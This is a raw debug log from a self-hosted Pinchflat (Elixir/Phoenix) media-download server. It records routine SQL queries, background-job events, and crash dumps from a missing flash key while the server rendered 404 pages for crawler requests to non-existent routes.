s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:02:47.033 [debug] QUERY OK source="settings" db=0.4ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:02:47.033 [debug] QUERY OK source="settings" db=0.3ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:02:47.034 [debug] QUERY OK source="settings" db=0.2ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:02:47.034 [debug] QUERY OK source="settings" db=0.3ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:02:47.035 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:02:47.035 [debug] QUERY OK source="settings" db=0.6ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:02:47.037 [debug] QUERY OK source="media_profiles" db=0.8ms idle=2.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 02:02:47.039 [debug] QUERY OK source="media_profiles" db=2.0ms queue=0.1ms idle=2.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 02:02:47.041 [info] Sent 200 in 12ms 02:02:47.042 [info] Sent 200 in 13ms 02:02:55.594 [info] {"source":"oban","duration":1124,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:03:00.253 [info] {"source":"oban","duration":224,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:03:25.596 [info] {"source":"oban","duration":1515,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:03:27.444 [info] GET /sources/3/media/3301/edit 02:03:27.445 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "3301", "source_id" => "3"} Pipelines: [:browser] 02:03:27.446 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=802.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [3301] 02:03:27.446 [debug] QUERY OK source="settings" db=0.2ms idle=803.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:03:27.447 [debug] QUERY OK source="settings" db=0.2ms idle=803.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:03:27.448 [debug] QUERY OK source="settings" db=0.2ms idle=804.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:03:27.450 [info] Sent 200 in 5ms 02:03:27.485 [info] GET /sources/3/force_redownload 02:03:27.485 [debug] QUERY OK source="settings" db=0.3ms idle=451.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:03:27.486 [debug] QUERY OK source="settings" db=0.2ms idle=40.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:03:27.486 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:03:27.487 [error] #PID<0.255510.0> running PinchflatWeb.Endpoint (connection #PID<0.255508.0>, stream id 2) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/3/force_redownload ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.255508.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_redownload", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 37320}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.255510.0>, params: %{}, path_info: ["sources", "3", "force_redownload"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.119"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-real-ip", "216.73.216.119"} ], request_path: "/sources/3/force_redownload", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIC68yqsjZLOXEYAJn6B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.255508.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_redownload", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 37320}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.255508.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_redownload", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 37320}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 2, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.255510.0>, params: %{}, path_info: ["sources", "3", "force_redownload"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-en (truncated) 02:03:46.424 [info] GET /sources/3/force_download_pending 02:03:46.424 [info] GET /sources/3/media/3313 02:03:46.424 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "3313", "source_id" => "3"} Pipelines: [:browser] 02:03:46.424 [debug] QUERY OK source="settings" db=0.3ms idle=1781.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:03:46.425 [debug] QUERY OK source="media_items" db=0.5ms idle=1781.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [3313] 02:03:46.425 [debug] QUERY OK source="settings" db=0.4ms idle=1781.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:03:46.425 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:03:46.427 [debug] QUERY OK source="tasks" db=0.6ms idle=1355.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [3313] 02:03:46.427 [debug] QUERY OK source="sources" db=1.1ms idle=353.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:03:46.428 [debug] QUERY OK source="settings" db=0.2ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:03:46.429 [debug] QUERY OK source="settings" db=0.3ms idle=3.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:03:46.430 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=4.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:03:46.431 [debug] QUERY OK source="media_profiles" db=0.3ms idle=4.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 02:03:46.426 [error] #PID<0.255515.0> running PinchflatWeb.Endpoint (connection #PID<0.255513.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/3/force_download_pending ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.255513.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_download_pending", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 50574}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.255515.0>, params: %{}, path_info: ["sources", "3", "force_download_pending"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.119"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-real-ip", "216.73.216.119"} ], request_path: "/sources/3/force_download_pending", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIC695OG42DOAIkAJn8B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.255513.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_download_pending", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 50574}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.255513.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_download_pending", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 50574}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.255515.0>, params: %{}, path_info: ["sources", "3", "force_download_pending"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ (truncated) 02:03:46.437 [info] Sent 200 in 12ms 02:03:55.598 [info] {"source":"oban","duration":1409,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:04:00.254 [info] {"source":"oban","duration":229,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:04:09.373 [info] GET /sources/3/media/3305 02:04:09.373 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "3305", "source_id" => "3"} Pipelines: [:browser] 02:04:09.373 [info] GET /sources/3/media/3302 02:04:09.374 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "3302", "source_id" => "3"} Pipelines: [:browser] 02:04:09.374 [debug] QUERY OK source="media_items" db=0.3ms queue=0.2ms idle=1730.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [3305] 02:04:09.374 [debug] QUERY OK source="media_items" db=0.3ms idle=1731.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [3302] 02:04:09.376 [debug] QUERY OK source="tasks" db=1.2ms queue=0.1ms idle=1731.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [3305] 02:04:09.376 [debug] QUERY OK source="tasks" db=1.2ms idle=256.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [3302] 02:04:09.377 [debug] QUERY OK source="sources" db=1.7ms idle=0.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:04:09.377 [debug] QUERY OK source="sources" db=2.0ms idle=1258.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:04:09.378 [debug] QUERY OK source="settings" db=0.3ms idle=2.9ms SELECT s0."id", 